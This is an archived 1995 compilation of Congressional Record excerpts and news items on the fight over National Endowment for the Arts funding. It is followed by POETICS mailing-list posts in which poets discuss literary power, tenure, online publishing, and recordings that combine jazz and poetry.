---------- + HANCOCK OF MISSOURI & BACKLASH AGAINST OSCAR SPEECHES

<from Congressional Record H3855>

The SPEAKER pro tempore. Under a previous order of the House, the gentleman from Missouri [Mr.Hancock] is recognized for 5 minutes.

Mr. HANCOCK. Mr. Speaker, Last night multimillionaire Hollywood actors, actresses, and producers--one after another--got up to accept their Oscar during the Academy Awards and ranted on national television about the need to preserve Federal taxpayer funding for the National Endowment for the Arts.

For most people these petty little tirades about the NEA were probably just annoying. But I got angry. Think about those spoiled rich elitists preaching to hard-working, middle-class Americans that America's families should make more sacrifices to fund a Federal Arts bureaucracy in Washington.

Nearly all the people in that room were multimillonaire entertainers. God bless them for being successful. I don't begrudge them their success. But if they really believe the work of the NEA is so important, they should start up a foundation and put their own money where their mouth is.

Steven Spielberg and Quincy Jones could personally fund the Endowment at its present funding levels with a portion of their annual incomes. Half of the proceeds from the movie Forrest Gump could fund the Endowment. I didn't hear any such offers from any celebrities. It is an outrage to have these people tell viewers across America who are making $5 and $6 an hour or $20,000 and $30,000 a year that they should be making more sacrifices as taxpayers so we can have money for the NEA.

I have nothing against the arts . I have personally contributed to the arts in my community. We need symphonies, community theatres, and local museums. Unlike the Hollywood hypocrites I have put my money where my mouth is.

But I am definitely opposed to further taxpayer funding of the arts. There are other priorities in the Federal budget that are just more important, especially when the arts can and should be supported privately by those with the means to do so.

The other problem with a government-funded arts program are the bizarre things that get funded when you trust bureaucrats with taxpayer dollars. I am not talking about the morally obscene grants, like the pornographic Mapplethorpe photos and the Annie Sprinkle nudie show--although those are definitely outrageous examples of abuse. I am talking about more mundane examples of waste and abuse.

Let me give you an example of a typical NEA grant. My hometown newspaper, the Springfield News-Leader, did a story on March 20 on a constituent of mine who recently received a $20,000 NEA grant to aid him in his work as a poet. A lot of people contacted my office and talked to me personally about this article.

I will call this individual Mr. Grantee which is not his name.

Mr. Grantee of Willard, MO is a creative writing professor at Southwest Missouri State University making $42,000 a year-- a salary funded by the taxpayers. His wife works on the government payroll as a nurse for the public school system. He says his $20,000 NEA grant will supplement his income so he won't have to teach summer school, allowing him to concentrate on his poetry.

Mr. Grantee says: `I will have less stress. I have a clearer creative mind.' A $20,000 government grant would relieve a lot of stress for a lot of people, including those who don't already draw a government-paid family income of $60,000 or more a year.

Mr. Grantee, a very honest fellow, says he has already incorporated the money into his family budget. He says he used some of the funds to buy a dishwasher and an airline ticket to a conference. He also says he plans to buy a personal computer. I can think of a lot of Americans who wouldn't mind the government buying them appliances or paying for their personal travel.

We are promised by Mr. Grantee in the article that he will produce at least one book of poetry and that he will even begin work on a second before the grant money runs out--books he intends to commercially publish, no doubt, and for which he will receive royalties.

I have nothing against Mr. Grantee personally, and I regret the need to use him as an example. But this sort of routine grant is exactly what is wrong with the NEA. When there are so many competing budget priorities, when hard-working taxpayers are already so burdened, I just cannot justify taking money from families--many of them making less than Mr. Grantee--to buy college professors dishwashers and supplement their Government salaries to relieve them from the stress of paying bills.

Frankly, it is an outrage. While the flaky, politically correct Hollywierd crowd on the West Coast may look down on my unsophisticated concern for the average taxpayer, the time has come to defund the National Endowment for the Arts and get the Government out of the art business once and for all.

Worthy art--whether it is Mr. Grantees poetry or the local symphony--can survive with private support. Those who are spending so much energy and effort now to reserve taxpayer funding can and should turn their energy and effort toward private fundraising. That includes our self-righteous friends in Hollywood.

If the public will not support certain artistic endeavors through their voluntary contributions, I hardly see why I, as their elected representative, should force them to spend their tax dollars on them.

---------- THE PEOPLE!YES PETITION DRIVE

On 5 April, the People for the American Way launched "The People!Yes Project"--a nation-wide petition drive to save the NEA,CPB and NEH. According to their press release, the PAW seeks to "deliver 100,000 signatures bound in books to all 535 members of the House and Senate. These books will be delivered by a delegation of artists and citizens in May, before the crucial debates about Arts funding, debates that will be life and death for the arts institutions and community media that have proliferated since the genesis of these programs. We hope to debunk the elitist myths surround arts funding: American wants funding for the Arts!"

The text of the petition is to read as follows:

"We, the people, petition the Congress of the United States on behalf of the National Endowment for the Arts, National Endowments for the Humanities, and the Corporation for Public Broadcasting. At little cost to taxpayers, these institutions have played a vital role in establishing a vibrant, inclusive, and informative cultural life in America. We must protect their survival and reaafirm our guarantee that they can continue to work free of political interference and threats. We reason and resolve, we oppose efforts to 'defund' or further marginalize the NEA, NEH, and CPB."

The drive is scheduled to last from 5 April to 17 April. If you would like to participate, contact Gail Melhado or Andy Stettner at People for the American Way in New York: [redacted].

---------- CLINTON'S REMARKS UPON TRANSMITTING NEA 1993 ANNUAL REPORT TO SENATE

<Congressional Record S5401>

The PRESIDING OFFICER laid before the Senate the following message from the President of the United States, together with an accompanying report; which was referred to the Committee on Labor and Human Resources.

To the Congress of the United States:

It is my special pleasure to transmit herewith the Annual Report of the National Endowment for the Arts for the fiscal year 1993.

The National Endowment for the Arts has awarded over 100,000 grants since 1965 for arts projects that touch every community in the Nation. Through its grants to individual artists, the agency has helped to launch and sustain the

voice and grace of a generation--such as the brilliance of Rita Dove, now the U.S. Poet Laureate, or the daring of dancer Arthur Mitchell. Through its grants to art organizations, it has helped invigorate community arts centers and museums, preserve our folk heritage, and advance the performing, literary, and visual arts .

Since its inception, the Arts Endowment has believed that all children should have an education in the arts. Over the past few years, the agency has worked hard to include the arts in our national education reform movement. Today, the arts are helping to lead the way in renewing American schools.

I have seen first-hand the success story of this small agency. In my home State of Arkansas, the National Endowment for the Arts worked in partnership with the State arts agency and the private sector to bring artists into our schools, to help cities revive downtown centers, and to support opera and jazz, literature and music. All across the United States, the Endowment invests in our cultural institutions and artists. People in communities small and large in every State have greater opportunities to participate and enjoy the arts . We all benefit from this increased arts presence, and yet the cost is just 65 cents per American. The payback in economic terms has always been several-fold. The payback in human benefit is incalculable.

The White House, April 6, 1995.

---------- ONE PERCENT FOR CULTURE ACT

On 7 April, the Associated Press reported that Representative Pat Williams (D-Montana) intends to propose a "1 Percent for Culture Act" that would effectively establish the NEA/NEH/IMS as true endowments, operating on the interest accrued annually on the $12 billion Williams proposes to set aside in FY 1996. The congressman seeks to establish an "American Cultural Trust" (which would also provide funding for the CPB) on the basis of a single appropriation of 1% of the $1.2 trillion federal budget.

The AP story quotes Williams as acknowledging that "[t]his Congress is not going to appropriate $12 billion in one swoop.... But my first purpose is to jump-start the reauthorization process. The opponents of NEA have a strategy of killing it through a simple lack of action in the House."

---------- 24 MARCH--UPDATE ON CPB

The Senate Appropriations Committee voted to freeze Corporation for Public Broadcasting (CPB) funding for FY 1996 and 1997 at the FY 1995 level of $285.64 million. This represents a reduction of 8.7% and 9.5% respectively for '96 and 97. No amendments were offered to CPB in mark-up. Proposed House

cuts for CPB were for 15% and 30% for FY96 and 97. The Senate did not rescind any funds from Ready to Learn television or Mathline, whereas the House has proposed to eliminate both programs. The Senate did rescind $5 million from both Star Schools and Education Technology, leaving them with $25 million each for FY 1995. The House had eliminated Education Technology, and moved two-thirds of the Star Schools program to the Fund for Improvement of Education, rescinding the final third. <REPORT FROM ARTSWIRE *HOTWIRE* 4.3.95>

---------- TRANSCRIPT OF CBS NEWS BROADCAST (from Congressional Record)

> *PINEY WOODS OPRY IN ABITA SPRINGS, LA, RECEIVES ARTS ENDOWMENT GRANT*
>
> *(Senate - April 04, 1995)*
>
> *[Page: S5097]*
>
> *Mr. KENNEDY. Mr. President, there have been many articles and commentaries about the National Endowment for the Arts in recent months. Opponents have complained that the Endowment supports elitist institutions and elite audiences. But a recent story on the CBS Evening News describes a different and more accurate example of the Endowment's role--a grant made to Piney Woods Opry in Abita Springs, LA.*
>
> *This grant from the NEA, totalling $14,900, enabled the Opry to present performances of local musical folklore from the Depression era. The performances entertain the citizens of Abita Springs, and they will preserve this important part of America's musical heritage.*
>
> *This success story, and thousands of others like it across the country, reveal the true mission of the Arts Endowment. Large corporations and wealthy donors are unlikely to fund these programs, but the Arts Endowment does. Mary Howell of Piney Woods Opry explained why:*
>
> *When you ask why should the taxpayers want to support this kind of thing . . . Because it's about us. It's about every one of us.*
>
> *I urge my colleagues to support the National Endowment for the Arts , and I ask unanimous consent that a transcript of this segment from the CBS Evening News may be printed in the Record.*
>
> *There being no objection, the transcript was ordered to be printed in the Record, as follows:*
>
> *Transcript from the CBS Evening News, Mar. 31, 1995*

Possible Budget Cuts to National Endowment for the Arts Cause Concern for Piney Woods Opry

Connie Chung, co-anchor. In the huge federal budget, $170 million may not seem like much, but that's the 1995 budget for the National Endowment for the Arts . Some members of Congress think it should be zero. They call it a taxpayer subsidy for wacky or tacky artists who play to a cultural elite. Is that really where the money goes? John Blackstone has one case in point for tonight's Eye on America.

John Blackstone reporting. There was a time when Saturdays across much of rural America sounded the way they still sound in Abita Springs, Louisiana.

Unidentified Announcer: From the town hall in beautiful Abita Springs, the Piney Woods Opry.

Blackstone. Piney Woods Opry never fails to draw an overflow crowd, though the songs and the sentiment are distinctly out of fashion.

(Excerpt from Opry performance)

Blackstone. The musicians, often in their 60s and 70s, are among the last practitioners of a disappearing musical style.

Mr. Bob Lambert (Evening Star String Band): This is a true American music, and I think somewhere along the line, they're going to appreciate it again.

Blackstone: The local congressman was invited here tonight, but he didn't come. He's a busy man these days, the new Republican chairman of the budget-cutting House Appropriations Committee, and one of the budgets he's busy cutting could have an impact right here.

Representative Bob Livingston (Republican, Louisiana): All we're trying to do is trying to bring common sense and sanity to the United States federal budget.

Blackstone: Congressman Bob Livingston is bringing down the budget ax on federal funding for the arts , particularly the National Endowment for the Arts .

Rep. Livingston: We're going to be making drastic cuts, because we're going to be looking toward a balanced budget by the year 2002, and NEA has to prove that, you know, it is affordable.

Blackstone: But ironically, Livingston is calling for cuts just as the

> *Piney Woods Opry, right in his own district, is due to receive its first grant from the NEA, $14,900.*
>
> *Mr. Lambert: I don't want to get into politics but for the little bit that we have got, I don't think anybody could be complaining about that.*
>
> *Blackstone: Among the new Republican majority in Congress, money for the arts is called welfare of the cultural elite. Is this the cultural elite we're going to be seeing?*
>
> *Mayor Bryan Gowland (Abita Springs, Louisiana): Why, I wouldn't call it the cultural elite. I don't know.*
>
> *Blackstone: Many of the folks who show up at the Piney Woods Opry remember the hard times and honest music of rural America.*
>
> *Mr. Lambert: You know, I--I--I grew up in the Depression, and I--I--I know what hard times is all about.*
>
> *Blackstone: Admission to the Opry is just $3 at the door. Producers say the music isn't commercial enough to charge much more. Without financial help to keep the show running and the recorders turning, they say these songs will soon be gone, along with those who play them.*
>
> *Ms. Mary Howell (Co-producer, Piney Woods Opry): We could lose our history. And it seems to me that that's when you ask why should the taxpayers want to support this kind of thing? I think that's why, because it's about us. It's about every one of us.*
>
> *Blackstone: Lauren Kilgore sings the songs her father taught her.*
>
> *Ms. Lauren Kilgore (Singer): (Singing) Grandpa, everything is changing fast.*
>
> *Blackstone: While the budget cutters sharpen their ax, the folks at the Piney Woods Opry say the value of this music can't be measured in dollars . . .*
>
> *Ms. Kilgore: (Singing) . . . families rarely bow their heads to pray and daddies really never go away.*
>
> *Blackstone: . . . it can only be felt. In Abita Springs, John Blackstone for Eye on America.*

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Freely Espousing is an ongoing project aimed at protecting and further democratizing access to the arts, humanities, broadcast media, and emerging forms of communication. For more information, please contact:

Steve Evans & Jennifer Moxley
61 E. Manning St., Providence RI 02906-4008
[redacted]

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155. Loss Glazier
Mac Low on CD
Sat 8 Apr 1995

Can someone provide me information about a recent sound CD featuring or with work by Jackson Mac Low?

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156. Gary Sullivan
HIV & AIDS
Sun 9 Apr 1995

Dear Kevin:

Could you say more about Aaron's piece? Also, have you seen Susan Smith Nash's pieces (in _Talisman_ and _Taproot_) on AIDS and the avant-garde? A few issues ago in _Talisman_, Aaron wrote a response to a piece Susan had done on the subject, in which he felt Susan had misread Aaron's work--I think he said that he hadn't (at that time) been writing about AIDS, not ready at that point to deal with it in his writing, though it was something he was (then) beginning to work towards.

Also (this is a lot of alsos, I guess), I was very surprised, reading Steve Abbott's book, _The Lizard Club_ (which I *loved*), that--because it seemed so "autobiographical"--there was very little mention of HIV/AIDS there. It was very odd reading that book, knowing that he had AIDS and had died not long after completing it, that HIV/AIDS seemed, if not wholly missing, not addressed very much directly (as he addressed, his interest in "Hippie" lineage, his day-job, his hangouts, etc.). When reading _The Lizard Club_ I sort of half-assumed that AIDS & HIV were somehow being addressed obliquely--felt, in places--but was never completely sure how much I was reading into that.

Thanks.

Yours,

Gary

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157. Robert Drake
Re: Mac Low on CD
Sun 9 Apr 1995

> *Can sombody provide me with information about a recent sound CD featuring or with work by Jackson Mac Low?*

OPEN SECRETS, available frm Experimental Intermedia, 224 Center St., MY NY 10013 ($15). reviewed by Charlotte Pressler, who is on this list, in TRR #4--the paper version...

lbd

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158. Kenneth Sherwood
Digression from the theme of poetry/power/publishing
Sun 9 Apr 1995

I've been following the discussion on poets' power with interest as it turns towards issues of publication, the economics of poetry--or, as in Ron's explicit reminder: 'follow the money.' The distribution of poetry, highly renumerative as it is (Mr. NEA Grantee living off a handout and handsome Penguin USA Royalties) has been on my mind as I think about and begin to work out some of the possibilites of electronic publishing. I've gained from the comments of some POETICS people in other, less textual spaces, lately; but I wonder if other participants in this space have also been thinking about writing and reading poetry online.

Wittgenstein writes:

> I should like to say: when I read I feel a kind of influence of the letters working on me. . . . In particular, this interpretation appeals to us especially when we make a point of reading slowly--perhaps in order to see what does happen when we read. When we, so to speak, quite intentionally let ourselves be guided by the letters. . . .(PI #169/ pp. 69e)

A slightly different take on the 'power' implicit in poetry, in even the (often more prosaic) language on this list. Most of us probably spend hours each

week allowing ourselves to be guided by glowing letters upon VGA screens. I hope it doesn't seem too cute/self-reflexive, but I'd be interested in hearing how some of these questions of power/publishing (and also engaging poetry) come to bear, not in_Conjunctions_, _Sulfur_, _Talisman_ etc.--only one of which I've bothered to be rejected from thus far--but in this space. A number of the participants on POETICS have in one manner or another published writing on the Internet (in addition to the publication/quasi-publication of posting to lists such as this). Does this shift the 'power'/lack-thereof/attendant-responsibilites of poetry/poets? Is online poetry technologically hyped up 'distribution' or something more complicated? Does anyone find different aesthetic/political implications in online writing/reading?

Or, as Ludwig Grenier was heard to ask: "Would it make sense to say, in these circumstances, 'I HATE PRINT'? And when I imagine this, can I then picture a poem in its place?"

Ken Sherwood

Buffalo

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159. Spencer Selby
Re: Standing
Sun 9 Apr 1995

Dear Ron,

I'm sorry, but yr post is seemingly based on misunderstanding the meaning of a single word in mine. When I said, "I think you've had more substantial books published," I did not mean this as a value judgment of yr work. I was following yr comments regarding yr publishing history. I was trying to say that I think you've had more full size or perfectbound books published in this avant garde realm in the last 15 or so years than anyone else. If true, this is a fact; there's nothing subjective about it.

Everything we've been discussing does not reduce to subjective maps, as you imply. Poets have power, which is not all traceable to the power of their writing. Of course that power is relative and of course you can talk about all kinds of other mostly bigger spheres which make that power seem minor by comparison. But within the spheres where you and I and Gary and others have our primary literary activity and audiences, you have a significant amount of power which is connected to a standing and rep and cred that you also definitely have.

With All Respect,
Spencer

On Sat, 8 Apr 1995, Ron Silliman wrote:

> *Spencer Selby wrote:*
>
> *"Correct me if I'm wrong, but I think you've had more substantial books published in this world in the last 15 or so years than anyone else.... I think it's wrong for you to deny that standing"*
>
> *As sweet as it is to read such things, the operative phrase in your argument, Spencer, is "I think...." Obviously Eliot Weinberger doesn't agree with you and I doubt Gertrude Schnackenberg or Amiri Baraka would and there's no particular reason to think that even a handful of people on this list would agree.*
>
> *This isn't to "deny that standing" but rather to be specific about what that standing is. My work plays a particular role in a subjective map you have of recent poetry (and I'm flattered by that role, I admit), but there's nothing objective about that map. There are literally thousands of alternative maps floating in the heads of other readers. One reader, one map is the ratio I see and I certainly know that it's possible to hold somewhat different maps at different times of day, different days, different months. One thing I do know is that my work doesn't play any role even remotely like the one you pose in your map within my own map(s). [I've been living in the Age of Watten myself, but that's another story....]*
>
> *When several readers hold maps with significant amounts of overlap, communities of reading can form and build on these foundations one way or another. But there's still nothing particularly objective about it and positing it as such I think sets in motion exactly the sort of reified literary surface that causes somebody like Gary to feel that it's a (hostile) solid object and impenetrable. In reality, it's much more like an ever shifting dream state.*
>
> *And we've all seen just how invested in creating such sorts of solid objects the likes of a Helen Vendler or Harold Bloom or Hilton Kramer can be. That's all nonsense, but when institutions and money get involved it can become quite sinister. (And what Deep Throat said was not "follow the power" but "follow the money".)*
>
> *My point in my previous post was to distinguish (however poorly) between editors (like Clayton & Brad) who are driven by individual/private motives and those institutions (like the Guggenheim, most academic teaching jobs, trade and university presses, and a broader circle of wannabe institutions, like Poetry Flash) that are INSTITUTIONALLY & BUREAUCRATICALLY DRIVEN and every bit as much of a closed world as any*

> *posed by the limits on reading of a given editor.*
>
> *I think (to use that operative verb phrase) that you make a real mistake when you confuse the engines of your subjective map with those institutional engines of economic power. Hank Lazer has written some extraordinary pieces on how those engines function in poetry today and Jed Rasula has done likewise (and even published them in Sulfur).*
>
> *Whatever substance there may be in my books or in anybody's books who works through what you call "the avant garde," it is not the substance of economic institutions. So that when a Joe Brainard gets picked up by a trade publisher, there is a meta event occuring as the work takes on a new life very different from that which the author envisioned during the writing process. (And it's a damn shame that Joe did not live to see this.)*
>
> *I've been wondering about the stratification of institutionality that has been posited in these postings by Gary and some others. I think that what Brad and Clayton are doing is much closer to the impulses of Kevin Killian/Dodie Bellamy and Gary Sullivan than they are to the impulses that drive the Yale Younger Poets or Iowa Writers Workshop or the Pulitzer nominations committee. When I grew up as a young poet, there were fewer layers to sort through, but that doesn't mean that we should collapse them into the same old boring Them & Us. We're all Us (and, conversely, we're all Them too).*
>
> *Love,*
> *Ron*

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160. braman sandra
poetry and power
Sun 9 Apr 1995

To link two threads, the earlier thread on what poetry does and the current thread on the power of poets -- if the only power that poetry yields is personal power of some poets over others, this ain't saying much. Political scientists speak in terms of instrumental, structural, and symbolic power (I would add transformational), and power in its potential and actual states (I would add virtual). All we're talking about here is the simplest form of instrumental power. Not a very large ambition..... Sandra Braman

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161. Mn Center For Book Arts
Re: poetry and power
Sun 9 Apr 1995

Thank you, Sandra, for your comments on the limits of power, and the limits as to ambition, in finding small powers so important.

I remember Robert Duncan saying in conversation once that he felt it was important to write as though the poems had the ability to effect the world, even change it, even if one knew, more pragmatically, that such power was either nonexistent or severely limited. Still, such a conception offers perhaps a more broad discussion of the power of poets/poetry than the one of tenured versus novice or non-tenured.

I think it might be more compelling to discuss the power of poems or of language than the power of poets.

charles alexander

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162. FUNKHOUSER CHRISTOPH
Mac Low on CD
Sun 9 Apr 1995

Loss,,

Jackson's Cd is _Open Secrets_, has 8 pieces on it,
produced 1993 by Experimental Intermedia foundation
224 Centre St. NY NY 10013. If you want to buy it,
go thru Jackson himself who seels them for $13
(this is what he said to tell others). It's a
great cd, featuring music & many voices, btw, &
useful liner notes.

Jackson will have a number of digitized recordings
on the cd-rom version of _the little mag_ which may
be out as soon as june or july. dig it.

chris

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163. **Tom Mandel**
Re: Consent of the governing
Sun 9 Apr 1995

Ron's response on the subject of "power", tenure, whatever, in wch he details his own experience, seems definitive. Truly, I hope this subject will go away, as it is boring beyond bearing.

A measure of worthwhile subject surely must be the difference which may be made by one response or another. Why, in that case, does this list produce the opposite when it is composed of intelligent and passionate people committed to the baseline language art?

I had a (seeming) endless correspondence more or less onthis
subject in the late 80's or very early 90's with Spencer
Selby who at that time maintained as he seems to wish to continue
to maintain that the poetry world is nominalist; i.e. people
build magazines, booklists, reading series, etc. around
names rather than works. And that this translates into a
kind of power and status which is not an exact mathematical
function of the value of the work currently streaming
(dribbling?) from that source.

So? Yes, this is true. For one thing, most judgments about current work have little value in relation to any long-term assessment. The Cambridge Platonists were the hottest thing going hundreds of years ago, rather in the way that "theory" functions now. Read'em lately? For another, it's useless to think about poets in so immediate a manner. Your work is a lifelong arc (well, a much more complex shape than that); its weaknesses, lapses, gaps may contribute to strength.

Neglect, lack of official endorsement, surely these are
relative; surely too they are a just reward for the restless
and radical desire to write. To imagine that there is a locus
of power relevant to writing that exists outside the authority
of that desire, which is self-permitted and demanded, is
a foolish illusion. Knock long enough at the door of the
one place which you imagine it matters to be published
(i.e. Conjunctions, Sulfur) and no doubt you will be
let in and learn that the place and object associated with
idea and work are strictly irrelevant. Must it not be the
case that the energy invested in imagining the opposite
cd be better invested in re-imagining one's work? Isn't there,
for every one of us, someone who imagines that we have more
power than they? Someone I think is powerful, another who

thinks me so; someone Gary Sullivan imagines to have more power than he and than is just (I pick Gary as a random example, not singling him out), and another who thinks that publisher-poet GS is a figure of the power position that this other has not attained?

I studied for years with Hannah Arendt; the two most important things she taught me were 1) a social/political issue must not be confused with one that is individual -- one's own sense of marginality is irrelevant to the issue of how an institution like poetry marginalizes its participants.
The other... well, this has been a bit stentorious, so I'll reveal the third thing Hannah Arendt taught me, and this involves a story.

For a quarter a small group of students did an intense reading course with Arendt on 2 works of Marx and Hegel. We worked very hard, and apparently we were good students, as she said near the end of the course that she wanted to reward our work by taking us out to lunch at the Quadrangle club, the faculty club at the U. of Chicago. It seemed to us, none of whom had been in this sanctum sanctorum (save, perhaps, one or 2 of us who bused tables there -- as I did with Paul Butterfield, but that's another story), that this must signal our true arrival as intellectuals.

The day arrived for our lunch, and we sat at an oblong table; Hannah was at one end, and I had grabbed the other. "Miss Arendt, Miss Arendt," I cried out -- earnest young intellect looking for arrival and power that I was -- "let me order the wine; I've been reading some books about wine."

Hannah dissolved in laughter; "Tzome tzings (one wd have to have heard her rolling guttural penetrating voice to appreciate this I fear), Tohm, tzome tzing we do not learn from books!"

That was the most important lesson she taught me. The same to you.

Tom Mandel

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164. Joe Amato
Re: Digression from the theme of poetry/power/publishing
Sun 9 Apr 1995

ken, to begin to speculate in the directions you suggest requires methinks a bit of unpacking, esp. as regards "online"...

now for some, "online" (with or without hyphen) can mean simply 'connection to a system'---any old how... however, there's a difference in creature-ly response twixt this that i type up and zip out to POETICS (hi y'all)--- typed up and zipped out, that is, on a vax mail system with modest line-by- line editing functions, and done with the constant threat that a burst of line noise will at any moment kick me offline---and the sort of online reading/writing one does simply while 'connected to' (physically, psychologically) the screen itself... that is, the space of the screen is an online space---subject to a variety of interpretations---even *before* i dial in with modem and terminal emulation to post mail to this list...

and of course there are programs such as eudora (that i once had access to, alas) that enable offline composition and reading, if by offline one means not 'connected to' a mainframe (again, via modem or local wiring etc)...

so to begin a discussion of online writing (poetry or otherwise) one almost must of necessity pull out (if you will) the distinction between the screen (your local system, mac, pc, what have you) and its connection to (or disconnection from) other such entities (through mainframes of one sort or another)...

this said: i understand *you* to mean by online NOT the simple presence of an active stand-alone computer, but the merging of that computer with other such computers... which would NOT, again, for those using something like eudora for mail, constitute much in the way of online-ness save for that brief spell during which eudora dials in, sends out mail, checks and downloads mail to one's terminal... that is, email in itself may represent nary a whisper of the sort of online dynamics i'm certain you're alluding to... and if this is the case, if sending a poem, for example, to a list can represent a more thoroughly online activity for some than for others (given disparities in technologies) then we're all not starting from the same assumptions as to what it is that we take to be an online experience in the first place...

sorry for going on so, i think you understand why i've had to... it's a messier topic than it appears at first glance...

joe

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165. Michael Boughn

Poetry/Jazz

Sun 9 Apr 1995

Dear Aldon Neilsen:

I've heard the Steve Lacey Nine recordings of Bob Creeley's poems. They're wonderful. The recording is called "Futurities". I don't know the label as I only

have a taped copy that Bob gave me years ago, but it's well worth tracking down.

Do you know "New Music--New Poetry" with Amiri Baraka, David Murray, and Steve McCall? It came out in 1981 from something called India Navigation Comany. A very powerful performance (speaking of power) (what kind of power would that be?)

Also, slightly more oblique is Marilyn Crispell's "The Kitchen Concert" where she plays a composition called "What of It I Refuse Awakens the Wide-Eyed Stone" which, though there are no lyrics, is based on the poem of that name by Nathaniel Mackey.

I also have heard that Don Byrd is putting together a CD that will include work by John Clarke and Charles Keil from their Bard Song performances. Those are truly awesome.

Best,
Mike
[redacted]

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166. Pierre Joris
Re: Poetry/Jazz
Sun 9 Apr 1995

Mike to Aldon: "I've heard the Steve Lacey Nine recordings of Bob Creeley's poems. They're wonderful. The recording is called "Futurities". I don't know the label as I only have a taped copy that Bob gave me years ago, but it's well worth tracking down. "

The Label is Hat Hut with which Lacy has made a number of recordings. It first came out on vinyl[hat art 2022] (I preferred that one because it had my liner notes) & was recently reissued on cd.[hat ART cd 6032]

Check also CLANGS by Lacy's Double Sextet. It includes poems by Appolinaire, Gaston Chaisac, Mario Merz,Kurt Scwitters & Wassily Kandinsky.[hat ART CD 6116]. His MOMENTUM [on NOVUS cd, # 3021-2-N] has songs with poems by Brion Gysin, Abu Nuwas, Herman Melville & Guilia Niccolai!

On LIVE AT SWEET BASIL [Novus 63128-2] you can hear PROSSPECTUS, one of the trademark songs of the sextet, with a poem by Blaise Cendrars as well as MORNING JOY, with text by Bob Kaufman.

Lacy has written hundred of songs -- in fact I have heard the rumor of 2000! -- with poems as lyrics.This is just what comes to hand at the moment.

Pierre

==========
========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother.
==========
==========

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167. Tony Green

Re: P&P (Prublic&Private)

Sun 9 Apr 1995

Dear John, I'm happy to backchannel too. I thought what we were talking about backchannel was pertinent to discussions going on elsewhere on the List about private and personal and also what Wystan sd abt Ginsberg's performance of dis-embarrassments. I was following suit there. Why can't you be a person, as "famous" or not as anyone else on the list, as if you don't do a good job on the page and also as a reader? Maybe that got swamped by considerations about Ginsberg's morals. I couldn't get too excited: the British press has better sex scandals. 20 politicians have resigned in three years there. That's a different scale of Power from entertainers and poets visiting (Joyce Carol Oates did that scene over, or do I remember wrong) and finding or expecting groupies. Hell, this isn't 1960's anymore (or 70's), morality has changed a lot.

Do you NOT listen to
yr old Chuck Berry records, or NOT
read Ezra Pound? I couldn't make
it out AT ALL. How about you?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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168. Tony Green
Re: P&P (Prublic&Private)
Sun 9 Apr 1995

Again: Alex Calder picked me up on that one too. Colin Durning, not Colin McCahon! I was enjoying that fantasy, pity abt the fact of it. I have no idea who is or was Colin Durning, do you, -- or Alex know about him?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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169. Jed
Re: Poetry/Jazz
Sun 9 Apr 1995

Lacy's group has done quite a number of text-based performances over th years, but none (that I've heard--but he's recorded so much!) spookier and livelier than Irene Aebi's rendering of Melville's very late poem "Art" (on Lacy's RCA disc "Momentum" from 1987). A few others: Henry Dumas's poem "Black Paladins" on the lp of that title by Art Ensemblists Joseph Jarman & Don Moye, with the late great South Africa bassist Johnny Dyani sitting in; Sonia Sanchez's "A Blk Woman Speaks" on Fred Houn's Afro-Asian Music Ensemble suite "Tomorrow is Now!" (Soul Note, 1985); and I'd add John Carter's final installment of his Roots and Folklore series, "Shadows on a Wall" (Gramavision, 1989) [J.C. also among the greats passed on in recent years--I saw him play many times in L.A. , sometimes in the most casual circumstances, like loft parties, but he was always immensly calm & *on*]. The pieces in "Shadows" are all compositions by Carter himself, & seem to me better integrated with the music than most texts. Sometimes musicians are too disposed to honor the poem by fizzing & hissing sub-sonically in the background, then letting loose when the words are done. That's *not* the case in the new Threadgill Aldon mentioned (was it Aldon?), but that one is so superbly engineered by Bill Lasswell you can practically hear everything, no matter how deeply recessed amidst the 2 tubas, 2 guitars, & 2 drummers.

& speaking of words & music: don't forget Cecil Taylor, about whom Chris Funkhouser should have something to add...

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170. Aldon L. Nielsen
Re: Tenure & Jazz
Mon 10 Apr 1995

Given recent discussions, I must quote the following from Ron's _N/O_:

perfect for tenure
is the night

Since it's night out here, and I'm tenured, let's set this to music and, as Tom Mandel suggests, put the subject to bed.

Thanks to everybody for the lists of jazz & text recordings, and please keep them coming. I only knew of about 1/2 of those mentioned so far. Steve Lacy seems to have done more than anybody else on my lists -- He must be even more of a reader than Archie Shepp. Eric Dolphy did an early Town Hall concert with poetry, but I've never seen any ref. to any recording of the evening having been made. If anybody knows anything further about this, let me hear from you.

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171. Spencer Selby
Re: Consent of the governing
Mon 10 Apr 1995

Ron's Friday post may be various things, but "definitive" is not one of them. I don't believe Ron was even trying to be definitive, which is to his credit.

Tom likes to characterize what I am saying, then attack this characterization. "Nominalist" is such a characterization. It only signifies one aspect my concern (an aspect I may have stressed a bit more in the past than I do today).

The exchange I had with Tom took place from June '89 to January '90, and it involved approximately ten letters from each of us. This was when Tom lived in San Francisco and when he still referred to me as "Spencer." Needless to say, Tom was not an unwilling participant in this exchange. As I recall, Tom's main frustration was that he couldn't get me to agree with him enough.

Tom says the power issue is boring and I say that it is tremendously important. What is boring to me is how averse people are to discussing something that motivates so much of their behavior.

This is not about individuals. I never said or implied that it was. Nor am I speaking from books, nor am I speaking out of frustration for myself (I am doing just fine) or some sense of my own marginality. There is no confusion of issues;

the issue *is* social/political and that has always been the drift and focus of my concerns.

To imagine that the only power relevant to the writing is the power which exists inside the authority of that desire is definitely an illusion. I passionately wish that it was not. I wish that the work was as primary as people want to believe or say it is. I wish that literary politics, who you are and who you know and who you like and who you don't and who likes you and who doesn't, didn't matter so much.

To say the reverse, to say that only the power of writing matters, is to say the problem has already been solved, or that it never existed in the first place. Saying this is the best way to make sure that the problem never gets addressed. Saying this is the best way to make sure that a very serious problem only gets worse.

Good Morning and Good Night,
Spencer Selby

On Sun, 9 Apr 1995, Tom Mandel wrote:

> *Ron's response on the subject of "power", tenure, whatever, in wch he details his own experience, seems definitive. Truly, I hope this subject will go away, as it is boring beyond bearing.*
>
